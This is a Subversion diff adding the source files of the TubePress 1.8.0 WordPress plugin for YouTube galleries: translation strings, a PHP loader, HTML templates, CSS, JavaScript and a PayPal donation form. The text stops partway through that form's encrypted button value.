+msgid "Don't show videos that may not be suitable for minors."
+msgstr ""
+
+msgid "Shortcode keyword"
+msgstr ""
+
+msgid "The word you insert (in plaintext, between square brackets) into your posts/pages to display a gallery."
+msgstr ""
+
+msgid "Randomize thumbnails"
+msgstr ""
+
+msgid "Most videos come with several thumbnails. By selecting this option, each time someone views your gallery they will see the same videos with each video's thumbnail randomized"
+msgstr ""
+
+msgid "YouTube API Client ID"
+msgstr ""
+
+msgid "YouTube will use this client ID for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr ""
+
+msgid "YouTube API Developer Key"
+msgstr ""
+
+msgid "YouTube will use this developer key for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID and developer key <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr ""
+
+msgid "Enable request cache"
+msgstr ""
+
+msgid "Only retrieve embeddable videos"
+msgstr ""
+
+msgid "Some videos have embedding disabled. Checking this option will exclude these videos from your galleries."
+msgstr ""
+
+msgid "Store YouTube responses locally for 1 hour. Each response is on the order of a few hundred KB, so leaving the cache enabled will significantly reduce load times for your galleries at the slight expense of freshness."
+msgstr ""
+
+msgid "Add rel=nofollow to most YouTube links"
+msgstr ""
+
+msgid "Prevents search engines from indexing outbound links to youtube.com. The only exception is the link to a video's original page on YouTube."
+msgstr ""
+
+msgid "normally (at the top of your gallery)"
+msgstr ""
+
+msgid "in a popup window"
+msgstr ""
+
+msgid "from the original YouTube page"
+msgstr ""
+
+msgid "with ColorBox"
+msgstr ""
+
+msgid "with Shadowbox"
+msgstr ""
+
+msgid "relevance"
+msgstr ""
+
+msgid "view count"
+msgstr ""
+
+msgid "rating"
+msgstr ""
+
+msgid "date updated"
+msgstr ""
+
+msgid "randomly"
+msgstr ""
+
+msgid "today"
+msgstr ""
+
+msgid "this week"
+msgstr ""
+
+msgid "this month"
+msgstr ""
+
+msgid "all time"
+msgstr ""
+
+msgid "next"
+msgstr ""
+
+msgid "prev"
+msgstr ""
+
+msgid "Displays YouTube videos in your sidebar using TubePress"
+msgstr ""
+
+msgid "TubePress shortcode for the widget. See the <a href=\"http://tubepress.org/documentation\"> documentation</a>."
+msgstr ""
+
+msgid "none"
+msgstr ""
+
+msgid "moderate"
+msgstr ""
+
+msgid "strict"
+msgstr ""
+
+msgid "YouTube"
+msgstr
+
+msgid "JW FLV Media Player (by Longtail Video)"
+msgstr ""
+
+msgid "Implementation"
+msgstr ""
+
+msgid "The brand of the embedded player. Default is \"YouTube\""
+msgstr ""
+
+#
+# VALIDATION
+#
+msgid "%s can only take on integer values. You supplied %s."
+msgstr ""
+
+msgid "%s must be between %d and %d. You supplied %d."
+msgstr ""
+
+msgid "%s must be one of \"today\", \"this_week\", \"this_month\", \"all_time\". You supplied %s."
+msgstr ""
+
+msgid "%s must be on of \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". You supplied %s."
+msgstr ""
+
+msgid "%s must be a string. You supplied %s."
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/tubepress.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/tubepress.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/tubepress.php	(revision 44)
@@ -0,0 +1,38 @@
+<?php
+/**
+Plugin Name: TubePress
+Plugin URI: http://tubepress.org
+Description: Displays gorgeous YouTube galleries in your posts, pages, and/or sidebar. Please visit http://tubepress.org for more info!
+Author: Eric D. Hough
+Version: 1.8.0
+Author URI: http://ehough.com
+
+Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+
+This file is part of TubePress (http://tubepress.org)
+
+TubePress is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+TubePress is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+function_exists("tubepress_classloader")
+    || require("classes/tubepress_classloader.php");
+    
+error_reporting(E_ALL ^ E_NOTICE);
+ini_set("display_errors", 1);    
+    
+include "env/WordPress/hooks/main.php";
+include "env/WordPress/hooks/options_page.php";
+include "env/WordPress/hooks/widget.php";	
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/html_templates/object.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/html_templates/object.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/html_templates/object.tpl.html	(revision 44)
@@ -0,0 +1,8 @@
+<object type="application/x-shockwave-flash" data="{TUBEPRESS_BASE}/ui/embedded/longtail/lib/player.swf" style="width: {WIDTH}px; height: {HEIGHT}px" >
+    <param name="AllowScriptAccess" value="never" />
+    <param name="wmode" value="transparent" />
+    <param name="movie" value="{TUBEPRESS_BASE}/ui/embedded/longtail/lib/player.swf" />
+    <param name="bgcolor" value="#000000" />
+    <param name="quality" value="high" />
+    <param name="flashvars" value="file={YOUTUBE_LINK}&amp;autostart={AUTOSTART}&amp;height={HEIGHT}&amp;width={WIDTH}" />
+</object>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/longtail.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/longtail.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/longtail/longtail.js	(revision 44)
@@ -0,0 +1,6 @@
+function tubepress_longtail_matcher() {
+    return /youtube\.com\/watch\?v=(.{11}).*/;
+}
+function tubepress_longtail_param() {
+	return "flashvars";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/html_templates/object.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/html_templates/object.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/html_templates/object.tpl.html	(revision 44)
@@ -0,0 +1,5 @@
+<object type="application/x-shockwave-flash" data="{URL}" style="width: {WIDTH}px; height: {HEIGHT}px">
+    <param name="wmode" value="transparent" />
+    <param name="movie" value="{URL}" />
+    <param name="allowfullscreen" value="{FULLSCREEN}" />
+</object>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/youtube.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/youtube.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/embedded/youtube/youtube.js	(revision 44)
@@ -0,0 +1,6 @@
+function tubepress_youtube_matcher() {
+    return /youtube\.com\/v\/(.{11}).*/;
+}
+function tubepress_youtube_param() {
+	return "movie";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/debug_blurb.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/debug_blurb.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/debug_blurb.tpl.html	(revision 44)
@@ -0,0 +1,10 @@
+<!-- BEGIN debug -->
+<ol>
+    <!-- BEGIN debugElement -->
+	<li>
+	    {ELEMENT_TITLE}
+	    <code><pre>{ELEMENT_VALUE}</pre></code><br />
+	</li>
+	<!-- END debugElement -->
+</ol>
+<!-- END debug -->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/gallery.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/gallery.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/gallery.tpl.html	(revision 44)
@@ -0,0 +1,17 @@
+<div class="tubepress_container">
+    <a name="tubepress_gallery_{GALLERYID}" id="tubepress_gallery_{GALLERYID}" style="visibility:hidden"> </a>
+	{PRE_GALLERY_PLAYER_HTML}
+	
+	<div class="pagination">
+	    {TOPPAGINATION}
+	</div>
+	
+	<div class="tubepress_thumbs">
+		{THUMBS}
+	</div>
+	
+	<div class="pagination">
+	    {BOTPAGINATION}
+	</div>
+
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/thumbnail.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/thumbnail.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/html_templates/thumbnail.tpl.html	(revision 44)
@@ -0,0 +1,44 @@
+<div class="tubepress_thumb">
+	<div class="tubepress_thumb_inner" style="width: {THUMBWIDTH}px">
+		<a id="{VIDEO_IMG_ANCHOR_ID}" rel="{VIDEO_IMG_ANCHOR_REL}"> <img alt="{VIDEO_IMG_ALT}" src="{THUMBURL}" width="{THUMBWIDTH}" height="{THUMBHEIGHT}" /></a>
+		
+		<div class="tubepress_meta_group">
+	
+			<!-- BEGIN title -->
+			<div class="tubepress_meta_title"><a id="{VIDEO_TITLE_ANCHOR_ID}" rel="{VIDEO_TITLE_ANCHOR_REL}">{TITLE}</a><br /></div>
+			<!-- END title -->
+
+			<!-- BEGIN runtime -->
+			<span class="tubepress_meta_runtime"> {RUNTIME} </span><br />
+			<!-- END runtime -->
+			
+			<!--  BEGIN author -->
+			<span class="tubepress_meta">{METANAME}: </span>
+			<a {NOFOLLOW} href="http://www.youtube.com/profile?user={AUTHOR}">{AUTHOR}</a><br />
+			<!--  END author --> 
+			
+			<!-- BEGIN comments -->
+			<span class="tubepress_meta">{METANAME}: </span>
+			<a {NOFOLLOW} href="http://youtube.com/comment_servlet?all_comments&amp;v={ID}">{COUNT}</a><br />
+			<!-- END comments --> 
+
+			<!-- BEGIN tags -->
+			<span class="tubepress_meta">{METANAME}: </span>
+			<a {NOFOLLOW} href="http://youtube.com/results?search_query={SEARCHSTRING}&amp;search=Search">{TAGS}</a><br />
+			<!-- END tags --> 
+			
+			<!--  BEGIN url --> 
+			<a {NOFOLLOW} href="{LINKVALUE}">{LINKTEXT}</a><br />
+			<!--  END url --> 
+			
+			<!-- BEGIN meta -->
+			<span class="tubepress_meta">{METANAME}: </span>{METAVALUE}<br />
+			<!-- END meta --> 
+			
+			<!--  BEGIN description --> 
+			{DESCRIPTION} 
+			<!--  END description -->
+
+		</div>
+	</div>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.css	(revision 44)
@@ -0,0 +1,108 @@
+.tubepress_normal_embedded_wrapper {
+    text-align:center;
+}
+
+.tubepress_normal_embedded_wrapper .tubepress_normal_embedded_inner {
+    text-align: left;
+    margin: auto;
+}
+
+.tubepress_normal_embedded_wrapper .tubepress_normal_embedded_inner .tubepress_embedded_title {
+    font-weight: bold;
+    font-size: larger;
+    margin-bottom: .3em;
+}
+
+.tubepress_meta {
+    color: #666;
+    font-style: italic;
+}
+
+.tubepress_meta_group {
+    text-align: left;
+}
+
+.tubepress_meta_runtime {
+    font-size: 11px;
+    color: #000;
+    font-weight: bold;
+}
+
+.tubepress_thumb {
+    float: left;
+    width: 32%;
+    line-height: 1.1em;
+    font-size: 11px;
+    height: 175px;
+    text-align: center;
+    overflow: hidden;
+}
+
+.tubepress_thumb a {
+	cursor: pointer;	
+}
+
+.tubepress_meta_title, .tubepress_meta_title a, .tubepress_meta_title a:hover {
+    font-size: 12px;
+    font-weight: bold;
+}
+
+.tubepress_thumb_inner {
+    margin: auto;
+}
+
+.tubepress_thumbs {
+    clear:both;
+    padding: 0 0 0 5px;
+    padding-top: 1em;
+}
+
+div.pagination {
+    padding: 3px;
+    margin: 3px;
+    text-align:center;
+    clear: both;
+}
+div.pagination a {
+    border: 1px solid #dedfde;
+    margin-right:3px;
+    padding:2px 6px;
+    background-position:bottom;
+    text-decoration: none;
+    color: #0061de;        
+}
+div.pagination a:hover, div.meneame a:active {
+    border: 1px solid #000;
+    background-image:none;
+    background-color:#0061de;
+    color: #fff;
+}
+div.pagination span.current {
+    margin-right:3px;
+    padding:2px 6px;    
+    font-weight: bold;
+    color: #ff0084;
+}
+div.pagination span.disabled {
+    margin-right:3px;
+    padding:2px 6px;
+    color: #adaaad;
+}
+
+.tubepress_thumb_widget {
+	width: 100%;
+	text-align: left;
+	margin-top: 1em;
+	height: auto;
+}
+
+.tubepress_thumb_widget a {
+	cursor: pointer;	
+}
+
+/* jqModal base Styling courtesy of;
+	Brice Burgess <bhb@iceburg.net> */
+.jqmWindow{display:none;position:fixed;top:17%;left:50%;margin-left:-300px;background-color:#EEE;color:#333;border:1px solid black;padding:12px;}.jqmOverlay{background-color:#000;}* iframe.jqm{position:absolute;top:0;left:0;z-index:-1;width:expression(this.parentNode.offsetWidth+'px');height:expression(this.parentNode.offsetHeight+'px');}
+* html .jqmWindow{position:absolute;top:expression((document.documentElement.scrollTop || document.body.scrollTop)+Math.round(17 *(document.documentElement.offsetHeight || document.body.clientHeight) / 100)+'px');}
+
+#sb-container,#sb-wrapper{text-align:left;}#sb-container,#sb-overlay{position:absolute;top:0;left:0;width:100%;margin:0;padding:0;}#sb-container{height:100%;display:none;visibility:hidden;z-index:999;}body>#sb-container{position:fixed;}#sb-overlay{height:expression(document.documentElement.clientHeight+'px');}#sb-container>#sb-overlay{height:100%;}#sb-wrapper{position:relative;}#sb-wrapper img{border:none;}#sb-body{position:relative;margin:0;padding:0;overflow:hidden;border:1px solid #303030;}#sb-body-inner{position:relative;height:100%;}#sb-content.html{height:100%;overflow:hidden}#sb-loading{position:absolute;top:0;width:100%;height:100%;text-align:center;padding-top:10px;}#sb-body,#sb-loading{background-color:#060606;}#sb-title,#sb-info{position:relative;margin:0;padding:0;overflow:hidden;}#sb-title-inner,#sb-info-inner{position:relative;font-family:'Lucida Grande',Tahoma,sans-serif;line-height:16px;}#sb-title,#sb-title-inner{height:26px;}#sb-title-inner{font-size:16px;padding:5px 0;color:#fff;}#sb-info,#sb-info-inner{height:20px;}#sb-info-inner{font-size:12px;color:#fff;}#sb-nav{float:right;height:16px;padding:2px 0;width:45%;}#sb-nav a{display:block;float:right;height:16px;width:16px;margin-left:3px;cursor:pointer;}#sb-nav-close{background-image:url(resources/close.png);background-repeat:no-repeat;}#sb-nav-next{background-image:url(resources/next.png);background-repeat:no-repeat;}#sb-nav-previous{background-image:url(resources/previous.png);background-repeat:no-repeat;}#sb-nav-play{background-image:url(resources/play.png);background-repeat:no-repeat;}#sb-nav-pause{background-image:url(resources/pause.png);background-repeat:no-repeat;}#sb-counter{float:left;padding:2px 0;width:45%;}#sb-counter a{padding:0 4px 0 0;text-decoration:none;cursor:pointer;color:#fff;}#sb-counter a.sb-counter-current{text-decoration:underline;}div.sb-message{font-family:'Lucida Grande',Tahoma,sans-serif;font-size:12px;padding:10px;text-align:center;}div.sb-message a:link,div.sb-message a:visited{color:#fff;text-decoration:underline;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/lib/tubepress.js	(revision 44)
@@ -0,0 +1,172 @@
+jQuery.getScript = function(url, callback, cache) {
+    jQuery.ajax({ type: "GET", url: url, success: callback, dataType: "script", cache: cache }); 
+}; 
+
+function tubepress_init(baseUrl) {
+	tubepress_load_embedded_js(baseUrl);
+    tubepress_load_players(baseUrl);
+    tubepress_attach_listeners();
+}
+
+function tubepress_attach_listeners()
+{
+    /* any link with an id that starts with "tubepress_" */
+	jQuery("a[id^='tubepress_']").click(function () {
+		var rel_split    = jQuery(this).attr("rel").split("_"),
+            galleryId    = rel_split[3],
+		    playerName   = rel_split[2],
+		    embeddedName = rel_split[1],
+            videoId = jQuery(this).attr("id").substring(16, 27);
+
+        /* swap the gallery's embedded object */
+        _tubepress_swap_embedded(galleryId, videoId, embeddedName);
+
+        /* then call the player to load up / play the video */
+        _tubepress_call_player_js(galleryId, videoId, embeddedName, playerName);
+    });
+}
+
+/**
+ * This function is very carefully constructed to work with both IE 7-8 and FF.
+ * Modify at your own risk!!
+ * 
+ * @param galleryId    The unique gallery ID containing the embedded object
+ *                      to swap
+ * @param videoId      The "new" YouTube video ID
+ * @param embeddedName Longtail, YouTube, etc
+ * @return void
+ */
+function _tubepress_swap_embedded(galleryId, videoId, embeddedName) {
+	
+	var wrapperId = "#tubepress_embedded_object_" + galleryId,
+	    wrapper = jQuery(wrapperId);
+
+	/* if we can't find the embedded object, just bail */
+	if (wrapper.length == 0) {
+	    return;
+	}
+    	
+	var matcher = window["tubepress_" + embeddedName + "_matcher"](),
+	    paramName = window["tubepress_" + embeddedName + "_param"](),
+	    obj = jQuery(wrapperId + " > object"),
+	    oldVideoId = obj.children("param[name='" + paramName + "']").attr("value").match(matcher)[1];
+
+	/* save the params but remove them from the DOM for now */
+	var params = obj.children("param");
+	params.remove();
+
+	/* create the new embedded object */
+	newHtml = tubepress_deep_construct_object(wrapper, params).replace(new RegExp(oldVideoId, 'g'), videoId);
+	
+	/* add it back in */
+	wrapper.html(newHtml);
+
+	/* now pat yourself on the back */    
+}
+
+function tubepress_deep_construct_object(wrapper, params) {
+
+	var newHtml = wrapper.html();
+	
+	/* chop off the closing </object> */
+	var newHtml = newHtml.substring(0, newHtml.length - 9);
+	
+	/* now add back the params, but this time with the new video ID */
+	params.each(function() {
+    	newHtml += '<param name="' + this.name + '" value="' + this.value + '" />';
+    });
+	
+	/* re-close the object */
+	newHtml += '</object>';
+	return newHtml;
+}
+ 
+function _tubepress_call_player_js(galleryId, videoId, embeddedName, playerName) {
+    var playerFunctionName = "tubepress_" + playerName + "_player";
+    window[playerFunctionName](galleryId, videoId);
+}
+
+
+function tubepress_load_players(baseUrl) {
+	var playerNames = _tubepress_rel_parser(2), i;
+    for(i = 0; i < playerNames.length; i++) {
+    	var name = playerNames[i];
+        jQuery.getScript(baseUrl + "/ui/players/" + name + "/" + name + ".js", 
+        	_tubepress_player_loaded(name, baseUrl) , true);
+    }
+}
+
+function _tubepress_player_loaded(playerName, baseUrl) {
+	var funcName = 'tubepress_' + playerName + '_player_init',
+	    f = function() { window[funcName](baseUrl); }
+	_tubepress_call_when_true(function() { return typeof window[funcName] == 'function'; }, f);
+}
+
+function tubepress_load_embedded_js(baseUrl) {
+    var embeddedNames = _tubepress_rel_parser(1), i;
+    for(i = 0; i < embeddedNames.length; i++) {
+        jQuery.getScript(baseUrl + "/ui/embedded/" + embeddedNames[i] + "/" + embeddedNames[i] + ".js", function() {}, true);
+    }
+}
+
+/**
+ * Utility function to do some DOM parsing for other functions here
+ * @param index
+ * @return
+ */
+function _tubepress_rel_parser(index) {
+    var returnValue = [];
+    jQuery("a[rel^='tubepress_']").each( function() {
+        var thisName = jQuery(this).attr("rel").split("_")[index];
+        if (jQuery.inArray(thisName, returnValue) == -1) {
+            returnValue.push(thisName);
+        }
+    });
+    return returnValue;
+}
+
+/**
+ * Waits until the given test is true (tests every .4 seconds),
+ * and then executes the given callback.
+ * @param test
+ * @param callback
+ * @return
+ */
+function _tubepress_call_when_true(test, callback) {
+    /* if the test doesn't pass, try again in .4 seconds */	
+    if (!test()) {
+		setTimeout(function() {_tubepress_call_when_true(test, callback);}, 400);
+		return;
+	}
+    /* the test passed, so call the callback */
+	callback();
+}
+
+/**
+ * Convenience method to wait for a script to load, then call some function
+ * from that script.
+ * @param scriptPath
+ * @param test
+ * @param callback
+ * @return
+ */
+function _tubepress_get_wait_call(scriptPath, test, callback) {
+	jQuery.getScript(scriptPath, function() {
+		_tubepress_call_when_true(test, callback);
+    }, true);
+}
+ 
+ /*
+  * includeMany 1.1.0
+  *
+  * Copyright (c) 2009 Arash Karimzadeh (arashkarimzadeh.com)
+  * Licensed under the MIT (MIT-LICENSE.txt)
+  * http://www.opensource.org/licenses/mit-license.php
+  *
+  * Date: Feb 28 2009
+  */
+ (function(a){a.include=function(e,b){var f=a.include.luid++;var d=function(h,g){if(a.isFunction(h)){h(g);}if(--a.include.counter[f]==0&&a.isFunction(b)){b();}};if(typeof e=="object"&&typeof e.length=="undefined"){a.include.counter[f]=0;for(var c in e){a.include.counter[f]++;}return a.each(e,function(g,h){a.include.load(g,d,h);
+ });}e=a.makeArray(e);a.include.counter[f]=e.length;a.each(e,function(){a.include.load(this,d,null);});};a.extend(a.include,{luid:0,counter:[],load:function(b,c,d){if(a.include.exist(b)){return c(d);}if(/.css$/.test(b)){a.include.loadCSS(b,c,d);}else{if(/.js$/.test(b)){a.include.loadJS(b,c,d);}else{a.get(b,function(e){c(d,e);
+ });}}},loadCSS:function(b,d,e){var c=document.createElement("link");c.setAttribute("type","text/css");c.setAttribute("rel","stylesheet");c.setAttribute("href",b);a("head").get(0).appendChild(c);a.browser.msie?a.include.IEonload(c,d,e):d(e);},loadJS:function(b,d,e){var c=document.createElement("script");
+ c.setAttribute("type","text/javascript");c.setAttribute("src",b);a.browser.msie?a.include.IEonload(c,d,e):c.onload=function(){d(e);};a("head").get(0).appendChild(c);},IEonload:function(d,b,c){d.onreadystatechange=function(){if(this.readyState=="loaded"||this.readyState=="complete"){b(c);}};},exist:function(c){var b=false;
+ a("head script").each(function(){if(/.css$/.test(c)&&this.href==c){return b=true;}else{if(/.js$/.test(c)&&this.src==c){return b=true;}}});return b;}});})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_meta.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_meta.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_meta.tpl.html	(revision 44)
@@ -0,0 +1,12 @@
+<h3>{OPTION_CATEGORY_TITLE}</h3>
+<table class="form-table" style="margin: 0; width: 50%">
+				
+	<!-- BEGIN optionRow -->
+	<tr valign="top">
+
+		<!-- BEGIN option -->
+		<td style="border-bottom-style: none; font-size: 13px}" valign="top">
+		    {OPTION_WIDGET} {OPTION_TITLE}			
+		</td><!-- END option -->
+	</tr><!-- END optionRow -->
+</table>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_regular.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_regular.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_group_regular.tpl.html	(revision 44)
@@ -0,0 +1,16 @@
+<h3>{OPTION_CATEGORY_TITLE}</h3>
+<table class="form-table" style="margin: 0">
+				
+	<!-- BEGIN optionRow -->
+	<tr valign="top">
+	
+		<!-- BEGIN option -->
+		<th style="border-bottom-style: none; font-size: 13px}" valign="top">
+			{OPTION_TITLE}
+		</th>
+		<td style="vertical-align: top; border-bottom-style: none">
+			{OPTION_WIDGET}
+			<br />{OPTION_DESC}
+		</td><!-- END option -->
+	</tr><!-- END optionRow -->
+</table>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_page.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_page.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/options_page/html_templates/options_page.tpl.html	(revision 44)
@@ -0,0 +1,24 @@
+<div class="wrap">
+	<form method="post">
+		<!-- BEGIN options -->
+		<h2>{PAGETITLE}</h2>
+		
+		{INTROTEXT}
+
+			<!-- BEGIN optionCategory -->
+			{OPTION_CATEGORY}
+			<!-- END optionCategory -->
+
+		<p class="submit">
+			<input type="submit" name="tubepress_save" value="{SAVE}" />
+		</p>
+		<!-- END options -->
+	</form><br />
+    {DONATION} 
+    <form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+        <input type="hidden" name="cmd" value="_s-xclick">
+        <input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
+        <img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1">
+        <input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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